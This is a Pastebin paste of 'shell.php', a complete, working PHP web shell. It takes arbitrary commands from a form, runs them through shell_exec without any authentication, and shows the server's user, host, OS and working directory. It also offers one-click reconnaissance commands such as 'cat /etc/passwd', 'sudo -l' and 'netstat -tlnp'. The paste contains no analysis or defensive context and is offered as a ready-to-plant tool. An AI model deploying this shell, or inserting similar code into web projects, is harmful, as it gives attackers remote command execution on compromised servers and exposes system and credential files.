cyberking

shell.php

Jun 21st, 2026
14,368
1
Never
12
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.56 KB | None | 1 0
  1. <?php
  2. $output  = '';
  3. $cwd     = isset($_POST['cwd']) ? $_POST['cwd'] : getcwd();
  4. $cmd     = isset($_POST['cmd']) ? trim($_POST['cmd']) : '';
  5.  
  6. if ($cmd !== '') {
  7.     $full_cmd = 'cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1';
  8.     $output   = shell_exec($full_cmd) ?? '(no output)';
  9.  
  10.     if (preg_match('/^cd\s+(.+)/', $cmd, $m)) {
  11.         $new_dir = realpath($cwd . '/' . trim($m[1]));
  12.         if ($new_dir !== false) $cwd = $new_dir;
  13.     }
  14. }
  15.  
  16. $user   = shell_exec('whoami 2>&1') ?? '?';
  17. $user   = trim($user);
  18. $host   = gethostname();
  19. ?>
  20. <!DOCTYPE html>
  21. <html lang="en">
  22. <head>
  23.     <meta charset="UTF-8">
  24.     <title>shell</title>
  25.     <style>
  26.         *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
  27.  
  28.         body {
  29.             background: #0d0d0d;
  30.             color: #00ff41;
  31.             font-family: 'Courier New', monospace;
  32.             font-size: 13px;
  33.             padding: 16px;
  34.             min-height: 100vh;
  35.         }
  36.  
  37.         .shell-info {
  38.             color: #888;
  39.             font-size: 11px;
  40.             margin-bottom: 12px;
  41.             border-bottom: 1px solid #1a1a1a;
  42.             padding-bottom: 10px;
  43.             display: flex;
  44.             gap: 20px;
  45.             flex-wrap: wrap;
  46.         }
  47.  
  48.         .shell-info span { color: #00ff41; }
  49.  
  50.         .output-box {
  51.             background: #0a0a0a;
  52.             border: 1px solid #1a3a1a;
  53.             border-radius: 4px;
  54.             padding: 12px;
  55.             min-height: 200px;
  56.             max-height: 500px;
  57.             overflow-y: auto;
  58.             white-space: pre-wrap;
  59.             word-break: break-all;
  60.             color: #ccffcc;
  61.             font-size: 12px;
  62.             line-height: 1.5;
  63.             margin-bottom: 12px;
  64.         }
  65.  
  66.         .prompt-row {
  67.             display: flex;
  68.             align-items: center;
  69.             gap: 8px;
  70.         }
  71.  
  72.         .prompt-label {
  73.             color: #00ff41;
  74.             white-space: nowrap;
  75.             flex-shrink: 0;
  76.         }
  77.  
  78.         .prompt-label .user-color {
  79.             color: <?php echo $user === 'root' ? '#ff4444' : '#00aaff'; ?>;
  80.             font-weight: bold;
  81.         }
  82.  
  83.         input[name="cmd"] {
  84.             flex: 1;
  85.             background: #0a0a0a;
  86.             border: 1px solid #1a3a1a;
  87.             border-radius: 3px;
  88.             color: #00ff41;
  89.             font-family: 'Courier New', monospace;
  90.             font-size: 13px;
  91.             padding: 7px 10px;
  92.             outline: none;
  93.         }
  94.  
  95.         input[name="cmd"]:focus { border-color: #00aa33; }
  96.  
  97.         button[type="submit"] {
  98.             background: #003300;
  99.             color: #00ff41;
  100.             border: 1px solid #00aa33;
  101.             border-radius: 3px;
  102.             padding: 7px 16px;
  103.             font-family: 'Courier New', monospace;
  104.             font-size: 13px;
  105.             cursor: pointer;
  106.             transition: background .2s;
  107.         }
  108.  
  109.         button[type="submit"]:hover { background: #005500; }
  110.  
  111.         .quick-cmds {
  112.             margin-top: 12px;
  113.             display: flex;
  114.             gap: 6px;
  115.             flex-wrap: wrap;
  116.         }
  117.  
  118.         .q-btn {
  119.             background: #111;
  120.             border: 1px solid #222;
  121.             border-radius: 3px;
  122.             color: #666;
  123.             font-family: 'Courier New', monospace;
  124.             font-size: 11px;
  125.             padding: 3px 9px;
  126.             cursor: pointer;
  127.             transition: all .15s;
  128.         }
  129.  
  130.         .q-btn:hover { border-color: #00aa33; color: #00ff41; }
  131.     </style>
  132. </head>
  133. <body>
  134.  
  135. <div class="shell-info">
  136.     <div>user: <span class="<?php echo $user === 'root' ? 'root' : ''; ?>" style="color:<?php echo $user === 'root' ? '#ff4444' : '#00aaff'; ?>;font-weight:bold;"><?php echo htmlspecialchars($user, ENT_QUOTES, 'UTF-8'); ?></span></div>
  137.     <div>host: <span><?php echo htmlspecialchars($host, ENT_QUOTES, 'UTF-8'); ?></span></div>
  138.     <div>cwd: <span><?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?></span></div>
  139.     <div>php: <span><?php echo PHP_VERSION; ?></span></div>
  140.     <div>os: <span><?php echo php_uname('s') . ' ' . php_uname('r'); ?></span></div>
  141. </div>
  142.  
  143. <div class="output-box" id="output"><?php
  144. if ($cmd !== '') {
  145.     echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
  146. } else {
  147.     echo 'ready.';
  148. }
  149. ?></div>
  150.  
  151. <form method="POST" autocomplete="off">
  152.     <input type="hidden" name="cwd" value="<?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?>">
  153.     <div class="prompt-row">
  154.         <span class="prompt-label">
  155.             <span class="user-color"><?php echo htmlspecialchars($user, ENT_QUOTES, 'UTF-8'); ?></span>@<?php echo htmlspecialchars($host, ENT_QUOTES, 'UTF-8'); ?>:<span style="color:#ffcc00;"><?php echo htmlspecialchars($cwd, ENT_QUOTES, 'UTF-8'); ?></span>$
  156.         </span>
  157.         <input type="text" name="cmd" id="cmd" placeholder="enter command..." autofocus>
  158.         <button type="submit">&#9654;</button>
  159.     </div>
  160.     <div class="quick-cmds">
  161.         <?php
  162.         $quick = ['id', 'whoami', 'uname -a', 'cat /etc/passwd', 'sudo -l', 'ps aux', 'netstat -tlnp', 'ifconfig', 'ls -la'];
  163.         foreach ($quick as $q) {
  164.             echo '<button type="button" class="q-btn" onclick="setCmd(this.textContent)">' . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . '</button>';
  165.         }
  166.         ?>
  167.     </div>
  168. </form>
  169.  
  170. <script>
  171. function setCmd(val) {
  172.     document.getElementById('cmd').value = val;
  173.     document.getElementById('cmd').focus();
  174. }
  175. document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
  176. </script>
  177.  
  178. </body>
  179. </html>
Advertisement